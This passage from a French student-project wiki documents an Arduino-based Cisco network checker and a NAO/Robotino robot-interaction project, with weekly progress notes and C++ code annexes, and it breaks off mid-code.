Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisation la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons tester la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothéses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé serait mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.

P27 Robot de fraiseuse

2015-12-02T12:43:44Z

Froyer1 :

P27 Robot de fraiseuse

2015-11-30T14:26:47Z

Froyer1 : /* Avancement du projet */

Fichier:TestKR6.mp4

2015-11-30T14:25:16Z

Froyer1 : Test d'un programme simple réalisé sous Kuka Sim Pro.

Test d'un programme simple réalisé sous Kuka Sim Pro.

P27 Robot de fraiseuse

2015-11-30T13:26:01Z

Froyer1 : /* Avancement du projet */

PRA 2015 - Câblage d'un réseau redondant

2015-11-25T13:01:25Z

Froyer1 : /* La partie bonus */

PRA 2015 - Câblage d'un réseau redondant

2015-11-19T14:30:41Z

Froyer1 : /* Utilisation du lecteur de carte SD */

PRA 2015 - Câblage d'un réseau redondant

2015-11-19T14:18:12Z

Froyer1 : /* La partie bonus */

PRA 2015 - Câblage d'un réseau redondant

2015-11-19T13:42:14Z

Froyer1 : /* La partie bonus */

PRA 2015 - Câblage d'un réseau redondant

2015-11-19T13:18:29Z

Froyer1 :

PRA 2015 - Câblage d'un réseau redondant

2015-11-19T12:49:25Z

Froyer1 :

P27 Robot de fraiseuse

2015-11-08T14:09:13Z

Froyer1 : /* Semaine du 2 au 6 novembre 2015 */

Fichier:TestAttachPrehenseur.pdf

2015-11-08T14:08:23Z

Froyer1 : Test d'attachement et de détachement de préhenseur.

Test d'attachement et de détachement de préhenseur.

P27 Robot de fraiseuse

2015-11-08T14:05:13Z

Froyer1 : /* Semaine du 19 au 23 octobre 2015 */

Fichier:TestTrajectoire.pdf

2015-11-08T14:02:20Z

Froyer1 : Premier test de réalisation de trajectoire avec un environnement grossier sur KUKA Sim Pro.

Premier test de réalisation de trajectoire avec un environnement grossier sur KUKA Sim Pro.

P27 Robot de fraiseuse

2015-11-08T13:56:18Z

Froyer1 : /* Semaine du 2 au 6 novembre 2015 */

P27 Robot de fraiseuse

2015-10-07T12:23:06Z

Froyer1 :

P27 Robot de fraiseuse

2015-10-05T15:24:39Z

Froyer1 :

Interaction Homme Robot

2015-05-11T15:36:18Z

Froyer1 : /* Fichiers Rendus */

[[File:Nao ima4.jpg|500px|thumb|right|Robot NAO]]
__TOC__
<br style="clear: both;"/>
==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Emmanuelle Grangier, professeur à l’école supérieure d'art de Cambrai a pour projet la réalisation d’un spectacle de danse sur le thème de la relation homme-robot nommé Link Human Robot. Lors de ce spectacle, un danseur professionnel aura comme partenaire un robot NAO[https://www.aldebaran.com/fr/qui-est-nao] avec lequel il interagira.

====Objectif du projet====

Le sujet qui nous est proposé consiste à réaliser un environnement permettant la communication entre un danseur professionnel et un robot NAO. Le but étant que le robot soit capable de reproduire les mouvements du danseur en temps réel.

====Description du projet====

Afin que notre robot soit en mesure de suivre les mouvements du danseur il est nécessaire de récupérer les informations venant des capteurs, de les traiter à l'aide d'un algorithme puis ensuite d'envoyer les commandes adéquates au robot NAO afin qu'il agisse en conséquence.
Les contraintes à prendre en compte sont :

*Les contraintes mécaniques du NAO : limites des articulations, la vitesse du mouvement et l'équilibre du NAO.
*Le temps de réponse qui ne doit pas être trop long malgré la communication wifi avec le NAO.
*La précision des mouvements du NAO.
*Et la vitesse de calcul résultant de l’environnement NAO, celle-ci étant contournée en utilisant des langages de programmation de plus faible niveau (C, C++, Java).

====Choix techniques : matériel et logiciel====

'''Partie matérielle'''

Nous disposons d’un robot NAO V4 dont nous utiliserons:

*la centrale inertielle située dans le torse du robot et composée de 2 gyromètres et d’un accéléromètre.
*les capteurs de position, des roues codeuses, situés dans chaque articulations.
*les 26 moteurs du NAO.

Nous avons aussi à disposition un routeur pour nous permettre de nous connecter au NAO bien que la communication soit aussi possible en Ethernet, cette dernière étant cependant plus contraignante.

Les capteurs utilisés seront dans un premier temps constitués de plusieurs centrales inertielles. Puis il est envisagé par la suite d’utiliser un exosquelette si il est possible d’en obtenir un. Ce qui permettrait une plus grande précision lors de la reconnaissance des mouvements.

'''Partie software'''

Afin d'interagir avec le NAO, nous utiliserons les différents logiciels disponibles sur le site d’Aldebaran:

*Chorégraphe, le logiciel permettant de programmer le NAO à l’aide de différentes fonctions se présentant sous forme de blocs.

*C++ NAOqi SDK ou Python NAOqi SDK, les kits de développement qui permettent de compiler un code de niveau inférieur (python ou C++) qui communiquera directement avec l’OS du NAO.

Le langage choisi sera donc soit le Python, soit le C++. Ce choix sera déterminé en fonction de la facilité de mise en oeuvre de ces deux langages et de leur efficacité dans notre application.
Nous envisageons le C++ dans un premier temps du fait de sa plus grande similitude avec le langage C et de son meilleur temps de réponse en utilisation temps réel.

===Etapes du projet===

*Étude de la documentation et familiarisation avec le NAO.
*Premiers tests en C++ afin de faire bouger le NAO et analyse du temps de réponse et de la précision.
*Modification du programme précédent afin de fonctionner à l’aide des centrales inertielles.
*Implémentation d’un client-serveur sur le NAO, éventuellement en UDP.
*Si obtention d’un exosquelette il sera nécessaire d’adapter le programme afin de gérer ce type de capteur.
*Si il reste du temps il sera possible de commencer la généralisation des étapes précedentes à toutes les articulations du NAO.

==Avancement du Projet==
===Semaine 1===

Lors de la semaine 1 nous avons voulu nous familiariser avec le NAO nous avons donc commencé par utiliser le logiciel Chorégraphe qui permet de programmer le NAO à l’aide de bloc préprogrammés. Ce logiciel permet aussi la programmation de blocs personnalisés en Python.
A l’aide de ce logiciel nous avons testé quelques programmes simples afin de voir les possibilités du NAO. Cette première approche nous à permis d’entrevoir un peu les limites mécaniques du NAO.

[[Fichier:choregraphe.png|900px|thumb|left|Vue du logiciel Chorégraphe]]
__TOC__
<br style="clear: both;"/>

Après nous être familiarisés avec le NAO nous avons commencé à étudier la documentation fournie par Aldebaran dans le but de définir le langage de programmation que nous allions utiliser ainsi que se procurer les logiciels nécessaires à la programmation du NAO.
Nous avons aussi commencé à étudier les différentes fonctions permettant de contrôler les moteurs du NAO. Pour bouger le NAO il est possible de contrôle les moteurs de deux manières différentes:
*un déplacement relatif effectué par rapport à la position actuelle du moteur.
*ou bien un déplacement absolu permettant de placer le moteur dans une position angulaire bien définie.

===Semaine 2===

Au cours de la deuxième semaine, nous nous sommes intéressés au kit de développement C++ NAOqi SDK qui permet de programmer le NAO via un langage bas niveau, à savoir le C++. Cette semaine s’est ainsi principalement orientée sur l’étude de la documentation d’Aldebaran Community. Nous avons donc suivi les procédures d’installation du kit et des différents outils nécessaires à son bon fonctionnement. Le système d’exploitation le plus efficace pour programmer le NAO en C++ était selon nous Linux car c’est le seul permettant de créer des modules distants qui s'exécutent directement sur le NAO. Nous nous sommes donc servis de Linux pour la suite de ce projet car nous pensions au départ avoir besoin de réaliser un client serveur sur le NAO pour permettre la communication avec notre PC. Il s’avère qu'un client TCP est déjà présent sur le NAO donc nous n'avons pour le moment pas besoin de créer de modules distants.

Nous avons ainsi installé qiBuild afin de créer des projets multi-plate-formes (linux et NAOqi OS) et CMake afin de générer les makefiles et les répertoires de travail pour chacune des plate-formes afin de compiler ces projets sur celles-ci.
Suite à l’installation des logiciels nécessaires à la programmation du NAO nous avons commencé à étudier des exemples de codes que nous avons trouvé dans la documentation.
Dans un second temps, nous avons commencé l’apprentissage du C++ afin de pouvoir être en mesure de créer nos propres programmes à compiler sur le NAO.

===Semaine 3===

Lors de la semaine 3 nous avons commencé à tester différents codes obtenus via la documentation d’Aldebaran mais nous avons rencontré différents problèmes. Le premier fut un problème d’inclusion des librairies fournies par naoqi-sdk, nous avons donc dû chercher sur le web car nous n’étions pas familiers avec qibuild ou Cmake. Nous avons appris que lors de la création d’un nouveau projet, qibuild nous créait un Makefile au sein de projet afin de simplifier la compilation, à partir de là nous avons modifié ce Makefile afin d’inclure les librairies donc nous avions besoin lors de la compilation.

Ensuite nous nous sommes heurtés à un problème de connexion avec le NAO. Lors de la recherche afin de résoudre ce problème nous nous sommes rendus compte que la version 1.14 de ces différents logiciels était bien plus documentée et plus facile d’utilisation (beaucoup de modifications concernant la syntaxe pour l'utilisation de l'API) que la version 2.1 que nous utilisions. C’est pourquoi après de nombreux essais afin de résoudre notre problème sans succès nous avons voulu tenter de contourner le problème en utilisant cette version 1.14 quitte à revenir à la version 2.1 si nécessaire. Cette version fut difficile à se procurer car les archives d’Aldebaran n'étaient pas facile à trouver.

Suite à cela nous avons installé ces logiciels afin de pouvoir les tester lors de la semaine 4.

===Semaine 4===

La version 1.14 s’est révélée être réellement plus facile d’utilisation et nous avons réussi à faire nos premiers test de commande à distance du NAO via le serveur TCP préexistant. Nous avons donc commencé à modifier ces exemples et à créer de nouveau programmes pour tester les différentes fonctions dont nous allions nous servir présentes dans l’API.

Au cours de cette semaine nous avons réussi à faire dire n’importe quelle phrase au NAO et écris des programmes simples afin de faire bouger les différentes parties du NAO (mains, jambes, tète, etc...). En annexe seront présentés ces deux programmes assez simples permettant de faire parler le NAO et de faire bouger sa tète. La partie importante est la partie permettant la connexion au NAO.

Par la suite nous allons améliorer légèrement ce programme pour y ajouter un menu permettant de bouger le NAO en temps réel via des évènements clavier ce qui nous permettra d’avoir une idée concrète du temps de réponse du NAO car pour le moment le temps de réponse est assez long probablement à cause du temps de connexion au NAO.

===Semaine 5===

Le programme permettant le mouvement du NAO en réponse à des événements clavier à été réalisé, de plus nous avons ajouté un fichier texte qui reçoit directement le temps de réponse de chaque mouvement. Nous avons remarqué que la connexion au NAO prend un certain temps à s'établir en revanche une fois la connexion établie le temps de réponse du NAO aux commandes est de l'ordre de la milliseconde. Pour le moment le temps maximum que nous avons observé est de 3.5ms ce qui parait correct pour une application temps réel.

Nous continuons notre apprentissage du C++ et envisageons de faire une interface graphique pour mettre en pratique nos connaissances. En plus de ceci nous regardons plus en détails toutes les fonctions présentent au sein de l'API du NAO afin d'améliorer nos programmes et de voir si nous ne trouvons pas certaines fonctions qui pourraient nous être fort utiles pour la suite.
Il ne reste que quelques test à faire durant les vacances avant de passer à l’acquisition des données via les capteurs de type centrale inertielle. Nous espérons pouvoir travailler dès lundi sur la partie vraiment concrète de notre projet si nous avons les capteurs à notre disposition.

===Semaine 5.5===

Lors des vacances nous avons fait les tests complémentaires permettant de valider la réponse du NAO à des événements clavier. De plus à l'aide des recherches faite sur l'API du NAO nous avons fait quelques amélioration à notre programme. Maintenant au début de chaque application le NAO se met en position debout pour pouvoir facilement effectuer de nombreuses actions, puis à la fin du programme après avoir exécute tout ce qui lui est demandé ou dans le cas ou une exception est survenue le NAO se remet en position assise.

===Semaine 6===

Cette semaine nous avons réalisé la vidéo permettant de voir la réponse du NAO à des événements clavier ci-dessous. D'autre part nous avons commencé à travailler à l'aide de capteurs, pour l'instant il s'agit d'un simple gyroscope dont nous avons réussi à acquérir les données. Bien qu'elles se présentent sous forme chaotique pour le moment nous cherchons à résoudre ce problème. Il s'agit d'un problème de configuration du port série car nous arrivons à observer les bonnes valeurs via minicom. Mais nous n'avons pas encore trouvé ou se situe le problème étant donné que le baud rate ainsi que le format des données semble bien configuré. Une fois ce problème résolu, nous espérons y arriver lundi ou durant le week-end, nous devrions être capable de réaliser un programme permettant de bouger la tête du NAO suivant l'angle du gyromètre.

Ainsi que l'ajout du lien vers le git dans les annexes comportant différents programmes pour le NAO ainsi que le programme d'acquisition des donnée via port série qui ne fonctionne pas pour le moment.

[[Fichier:NaoClavier.avi|900px|thumb|left|Vidéo présentant la réponse du NAO à des événements clavier‎]]
__TOC__
<br style="clear: both;"/>

===Semaine 7===

Le programme permettant de récupérer les valeurs du gyromètre a été débogué il s'agissait en fait d'un problème d'affichage car nous utilisions un buffer défini en char et non en unsigned char. Nous avons donc réussi à récupérer les valeurs provenant du gyromètre et nous avons implémenté ce code afin de bouger la tête du NAO en temps réel en réponse aux mouvement du gyromètre. (Annexe 3)

[[Fichier:NAOGyro.avi‎|500px|thumb|left|Vidéo présentant la réponse du NAO à un gyromètre]]

Maintenant que cette partie a été réalisé notre but va être d'analyser la robustesse de notre programme, généraliser avec plusieurs gyromètres ou bien utiliser d'autres capteurs. Pour l'instant je pense que nous allons commencer par la partie robustesse car c'est ce qui nous est demandé. Nous allons donc faire des tests ou nous allons voir si le NAO est capable de gérer de nombreuses requêtes simultanées, comme par exemple des demandes de mouvement multiples sur différentes articulations.

Après discussion avec notre encadrant les objectifs pour le moment en plus du test de robustesse sont:
*Analyse de la précision concernant le programme permettant de bouger la tête avec le gyromètre ainsi qu'une amélioration de ce programme.
*Réalisation d'une interface graphique qui pourrait incorporer les fonctions utilisés jusqu’à maintenant c'est à dire bouger différentes articulations et permettre le déplacement du NAO.
*Et pour finir faire bouger le NAO par l'intermédiaire d'un Robotino au lieu d'une interaction humaine pour le moment car sans exosquelette il semble plus intéressant de faire une communication ou le NAO se déplacerait suivant les mouvements du Robotino. De plus pour que la communication soit réciproque il sera intégré des actions réalisées par le Robotino lors d'une action sur certains capteurs du NAO mais ceci reste encore à définir.

===Semaine 8===

Lors de la semaine 8 nous avons amélioré le code permettant de faire bouger la tête avec le gyromètre et analysé la précision de celui-ci, nous avons un écart de position inférieur à 3°. Des tests ont été réalisés concernant la robustesse, nous avons fait un programme qui commandait 6 moteurs du NAO de manière simultanée en temps réel, on remarque que si l'on essaie de commander trop de moteurs les mouvements ne sont plus assez fluides il pourra être intéressant de refaire un test avec seulement 4 moteurs de commandés.

Concernant la partie avec le Robotino nous avons récupéré du code concernant la communication distante avec celui-ci nous allons commencer à mettre en place la communication lors de la semaine 9.

===Semaine 9===

La semaine 9 a été consacrée à la communication avec le Robotino. Pour cela nous avons récupéré un Robotino3 avec lequel nous allons communiquer en utilisant Robotino API2 une API utilisable en C++. Nous avons donc commencé à étudier les documents qui nous ont été fournis lors de la semaine 8.

De plus le programme NAO permettant la gestion du gyromètre a été modifié pour s'interrompre correctement lors de la réception d'un SIGINT.

===Semaine 10===

Peu de travail réalisé en semaine 10 suite à des problèmes avec le Robotino. Réalisation d'un code permettant de récupérer les valeurs de position du Robotino alors qu'il se déplace afin de décrire un cercle. En revanche ce code n'a pas encore été testé.

===Semaine 11===

Suite aux problèmes rencontrés en semaine 10 nous utilisons maintenant un autre Robotino en attendant que celui que nous utilisions soit à nouveau fonctionnel. Le code réalisé en semaine 10 a été testé et fonctionne correctement. Il sera bientôt en Annexe le temps de commenter correctement. Nous arrivons à récupérer les valeurs de position du Robotino et elles sont envoyées au programme NAO via un serveur UDP il nous reste à tester le programme NAO et à ajuster les déplacements des deux robots.

===Semaine 12===

Pour la semaine 12 le programme NAO a été testé. Vu que nous n'avons pas accès au Robotino dû à la RobotCup nous avons travaillé sur le rapport. Les tests finaux seront réalisés lors des vacances.

===Semaine 13 et 14===

Pendant les vacances nous avons réalisé les derniers tests et la communication entre les deux robots semble fonctionnelle bien que l'utilisation d'une structure contenant les données de position du Robotino a été remplacée par une succession de trois floats séparés par un quatrième float qui indique une fin de paquet. Ceci car nous n'arrivions pas a la faire fonctionner avec la structure sur le Robotino et donc choisi d'utiliser une autre méthode faute de temps pour débugger.

De plus le code Robotino a été modifié afin de pouvoir le déplacer comme nous le souhaitons suivant 4 directions.(Annexe 4)

==Annexes==
Lien github contenant les fichiers pour ce projet : [https://github.com/ethwynn/ProjetNao Github]

===Annexe 1===

Voici à quoi ressemble le programme permettant de faire parler le NAO.

<span style="color:Green;">#include <iostream>
#include <stdlib.h></span>

<span style="color:Blue;">//Librairie permettant la creation du proxy</span>
<span style="color:Green;">#include <alcommon/alproxy.h></span>

int main(int argc, char* argv[])
{
<span style="color:Blue;">// Nous allons connecter notre Broker a Naoqi</span>
int pport = 9559;
std::string pip = "127.0.0.1";

<span style="color:Blue;">// On teste le nombre d'arguments</span>
if (argc != 1 && argc != 3 && argc != 5)
{
std::cerr << "Wrong number of arguments!" << std::endl;
std::cerr << "Usage: mymodule [--pip robot_ip] [--pport port]" << std::endl;
exit(2);
}

<span style="color:Blue;">// Si il y a un seul argument il s'agit de l'IP ou du PORT</span>
if (argc == 3)
{
if (std::string(argv[1]) == "--pip")
pip = argv[2];
else if (std::string(argv[1]) == "--pport")
pport = atoi(argv[2]);
else
{
std::cerr << "Wrong number of arguments!" << std::endl;
std::cerr << "Usage: mymodule [--pip robot_ip] [--pport port]" << std::endl;
exit(2);
}
}

<span style="color:Blue;">// Si il y a deux arguments on specifie le PORT et L'IP</span>
if (argc == 5)
{
if (std::string(argv[1]) == "--pport"
&& std::string(argv[3]) == "--pip")
{
pport = atoi(argv[2]);
pip = argv[4];
}
else if (std::string(argv[3]) == "--pport"
&& std::string(argv[1]) == "--pip")
{
pport = atoi(argv[4]);
pip = argv[2];
}
else
{
std::cerr << "Wrong number of arguments!" << std::endl;
std::cerr << "Usage: mymodule [--pip robot_ip] [--pport port]" << std::endl;
exit(2);
}
}

<span style="color:Blue;">/**
* On cree un proxy qui permet d'appeler un module defini dans l'API
* La methode pour appeler ce module ce presente comme ceci :
* AL::ALProxy proxy(<module_name>, <robot_IP>, <robot_port>);
*/
// Creation d'un proxy vers ALTextToSpeechProxy</span>
AL::ALProxy proxy("ALTextToSpeech", pip, pport);

<span style="color:Blue;">/**
* Si la methode ne renvoie rien
* On l'appelle de cette maniere :
* proxy.callVoid(<bind_method>, <parameter>, ...)
*/
// On appelle la methode Say</span>
proxy.callVoid("say", std::string("Bonjour je m'appelle NAO!"));

return 0;
}

===Annexe 2===

Ce programme fait tourner la tête du Nao dans un sens puis dans l'autre avant de revenir en position initiale.

<span style="color:Green;">#include <iostream>
#include <stdlib.h>
#include <stdio.h></span>

<span style="color:Green;">#include <alcommon/alproxy.h></span> <span style="color:Blue;">//Librairie permettant la creation du proxy</span>
<span style="color:Green;">#include <alproxies/almotionproxy.h></span> <span style="color:Blue;">//Librairie contenant les fonctions pour faire bouger le NAO</span>

int main(int argc, char* argv[])
{
<span style="color:Blue;">// Nous allons connecter notre Broker a Naoqi</span>
...
<span style="color:Red;">Toute la partie connexion est identique au programme précédent.</span>

<span style="color:Blue;">/** Le nom de la partie que l'on souhaite bouger */</span>
const AL::ALValue jointName = "HeadYaw"; <span style="color:Blue;">//Ici il s'agit de la tete</span>

try {
<span style="color:Blue;">/** On cree notre proxy qui servira a appeler les methodes pour bouger la tete
* Les arguments du constructeur sont :
* - L'addresse IP du NAO
* - Le port utilisé. Par default il s'agit du port 9559
*/</span>
AL::ALMotionProxy motion(pip, 9559);

<span style="color:Blue;">/** Afin de bouger la tete on doit vérifier qu'elle n'est plus asservie
* Pour cela on va mettre la "durete" de la tete a la valeur maxi, c'est dans cette position que l'on peut bouger la tete
*/
/** Durete voulue */</span>
AL::ALValue stiffness = 1.0f;
<span style="color:Blue;">/** Temps en seconde pour atteindre cette valeur */</span>
AL::ALValue time = 1.0f;
<span style="color:Blue;">/** Appel de la methode pour realiser l'action */</span>
motion.stiffnessInterpolation(jointName, stiffness, time);

<span style="color:Blue;">/** Ensuite on va bouger la tete
* Pour cela on va lui donner des angles et le temps utilisé pour atteindre ces angles
*/
/** On défini une liste d'angles, en radians. */</span>
AL::ALValue targetAngles = AL::ALValue::array(-1.5f, 1.5f, 0.0f);
<span style="color:Blue;">/** On defini les temps correspondants, en secondes. */</span>
AL::ALValue targetTimes = AL::ALValue::array(3.0f, 6.0f, 9.0f);
<span style="color:Blue;">/** Ensuite on peut choisir si les angles sont des positions absolues ou relatives par rapport a la position actuelle de la tete. */
/** Ici se sont des angles absolus. */</span>
bool isAbsolute = true;

<span style="color:Blue;">/** Puis on appelle notre fonction. */</span>
motion.angleInterpolation(jointName, targetAngles, targetTimes, isAbsolute);

<span style="color:Blue;">/** Pour finir on remet la durete a sa valeur initiale. */</span>
stiffness = 0.0f;
time = 1.0f;
motion.stiffnessInterpolation(jointName, stiffness, time);

}
catch (const AL::ALError& e) {
std::cerr << "Caught exception: " << e.what() << std::endl;
exit(1);
}
exit(0);
}

===Annexe 3===

Voici le programme final permettant de réaliser un suivi de l'angle du gyromètre avec la tête du Nao. Il y a peu de commentaires car toute la configuration est identique au programme précédent. La partie gestion du port série n'est pas détaillée ici mais elle est disponible sur Github.

struct sigaction action;
bool inter = true;

<span style="color:Blue;">//Gestion du SIGINT afin de permettre l’arrêt du programme</span>
void hand(int sig){
if (sig == SIGINT){
printf("SIGINT\n");
inter = false;
}
else{
printf("bizarre !\n");
}
}

int main(int argc, char* argv[])
{
<span style="color:Red;">//Connexion </span>
...

<span style="color:Blue;">/** Nom du joint à bouger. */</span>
const AL::ALValue names = "HeadYaw";
int fd;
double angle;
unsigned char buf[8] = {0};
action.sa_handler = hand;
sigaction(SIGINT, &action, NULL);

init_serial(&fd); <span style="color:Blue;">/Initialisation du port serie</span>

AL::ALMotionProxy motion(pip, 9559);
AL::ALRobotPostureProxy robotPosture(pip,9559);

try {

<span style="color:Blue;">//Make the NAO stand</span>
robotPosture.goToPosture("Stand", 1.0f);

AL::ALValue stiffness = 1.0f;
AL::ALValue time = 1.0f;
motion.stiffnessInterpolation("Head", stiffness, time);

double newAngle=0.0,a0=0,rangle;
while(a0 == 0){
getData(buf,fd);
a0 = getAngle(buf);
}

while(inter){

getData(buf,fd);
angle = getAngle(buf);
if (angle != 0){
rangle = angle -a0;
}

if (rangle > 180){
rangle = rangle - 360;
}
else if (rangle < -180){
rangle = rangle + 360;
}
rangle = (rangle*PI)/180;
std::vector<float> sensorAngle = motion.getAngles(names, true);

double changes = rangle - sensorAngle[0];
std::cout << "changes: " << changes << std::endl;
float fractionMaxSpeed = 0.10f;
<span style="color:Blue;">// Appelle la fonction changeAngles qui permet de bouger un joint à la vitesse désirée</span>
if(changes > 0.07 || changes < -0.07){
motion.changeAngles(names, changes, fractionMaxSpeed);
}
else{
}
}

stiffness = 0.0f;
time = 1.0f;
motion.stiffnessInterpolation("Head", stiffness, time);

robotPosture.goToPosture("Sit", 1.0f);

}
catch (const AL::ALError& e) {
std::cerr << "Caught exception: " << e.what() << std::endl;

robotPosture.goToPosture("Sit", 1.0f);

exit(1);
}
exit(0);
}

===Annexe 4===

Voici le programme Robotino qui permet de déplacer le Robotino tout en envoyant les données de position via un serveur UDP.

<span style="color:Green;">#define _USE_MATH_DEFINES
#include <cmath>
#include <iostream>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>

#include "rec/robotino/api2/all.h"</span>

using namespace rec::robotino::api2;

bool _run = true;

void messageUDP(char *hote,char *service,float message,int taille){

struct addrinfo precisions,*resultat;
int statut;
int s;

<span style="color:Blue;">/* Creation de l'adresse de socket */</span>
memset(&precisions,0,sizeof precisions);
precisions.ai_family=AF_UNSPEC;
precisions.ai_socktype=SOCK_DGRAM;
statut=getaddrinfo(hote,service,&precisions,&resultat);
if(statut<0){ perror("messageUDPgenerique.getaddrinfo"); exit(EXIT_FAILURE); }

<span style="color:Blue;">/* Creation d'une socket */</span>
s=socket(resultat->ai_family,resultat->ai_socktype,resultat->ai_protocol);
if(s<0){ perror("messageUDPgenerique.socket"); exit(EXIT_FAILURE); }

<span style="color:Blue;">/* Option sur la socket */</span>
int vrai=1;
if(setsockopt(s,SOL_SOCKET,SO_BROADCAST,&vrai,sizeof(vrai))<0){
perror("initialisationServeurUDPgenerique.setsockopt (BROADCAST)");
exit(-1);
}

<span style="color:Blue;">/* Envoi du message */</span>
int nboctets=sendto(s,&message,taille,0,resultat->ai_addr,resultat->ai_addrlen);
if(nboctets<0){ perror("messageUDPgenerique.sento"); exit(EXIT_FAILURE); }

<span style="color:Blue;">/* Liberation de la structure d'informations */</span>
freeaddrinfo(resultat);

<span style="color:Blue;">/* Fermeture de la socket d'envoi */</span>
close(s);
}

void sigint_handler( int signum )
{
_run = false;
}

class MyCom : public Com
{
public:
MyCom()
{
}
void errorEvent( const char* errorString )
{
std::cerr << "Error: " << errorString << std::endl;
}
void connectedEvent()
{
std::cout << "Connected." << std::endl;
}
void connectionClosedEvent()
{
std::cout << "Connection closed." << std::endl;
}
void logEvent( const char* message, int level )
{
std::cout << message << std::endl;
}
void pingEvent( float timeMs )
{
std::cout << "Ping: " << timeMs << "ms" << std::endl;
}
};

class MyBumper : public Bumper
{
public:
MyBumper()
: bumped( false )
{
}
void bumperEvent( bool hasContact )
{
bumped |= hasContact;
std::cout << "Bumper has " << ( hasContact ? "contact" : "no contact") << std::endl;
}
bool bumped;
};

MyBumper bumper;
MyCom com;
OmniDrive omniDrive;
Odometry odometry;

void init( const std::string& hostname )
{
<span style="color:Blue;">// Connect</span>
std::cout << "Connecting...";
com.setAddress( hostname.c_str() );

com.connectToServer( true );

if( false == com.isConnected() )
{
std::cout << std::endl << "Could not connect to " << com.address() << std::endl;
rec::robotino::api2::shutdown();
exit( 1 );
}
else
{
std::cout << "success" << std::endl;
odometry.set(0,0,0,false);
}
}

void move(char * hote)
{
float mouvement[2] = {0.0f, 0.0f};
double x=0,y=0,phi=0,sep=0;
unsigned int *seq;
char *service="5000";
sep = 4000;
int t0=com.msecsElapsed(),t=0,dir=0;

<span style="color:Blue;">//Menu to choose direction</span>
while (dir != 1 && dir != 2 && dir != 3 && dir != 4 )
{
std::cout << "which direction :" << std::endl;
std::cout << "1 for front" << std::endl;
std::cout << "2 for back" << std::endl;
std::cout << "3 for left" << std::endl;
std::cout << "and 4 for right" << std::endl;
std::cin >> dir;
}

if (dir == 1)
{
mouvement[0]=0.2f;
mouvement[1]=0.0f;
}
else if (dir == 2)
{
mouvement[0]=-0.2f;
mouvement[1]=0.0f;
}
else if (dir == 3)
{
mouvement[0]=0.0f;
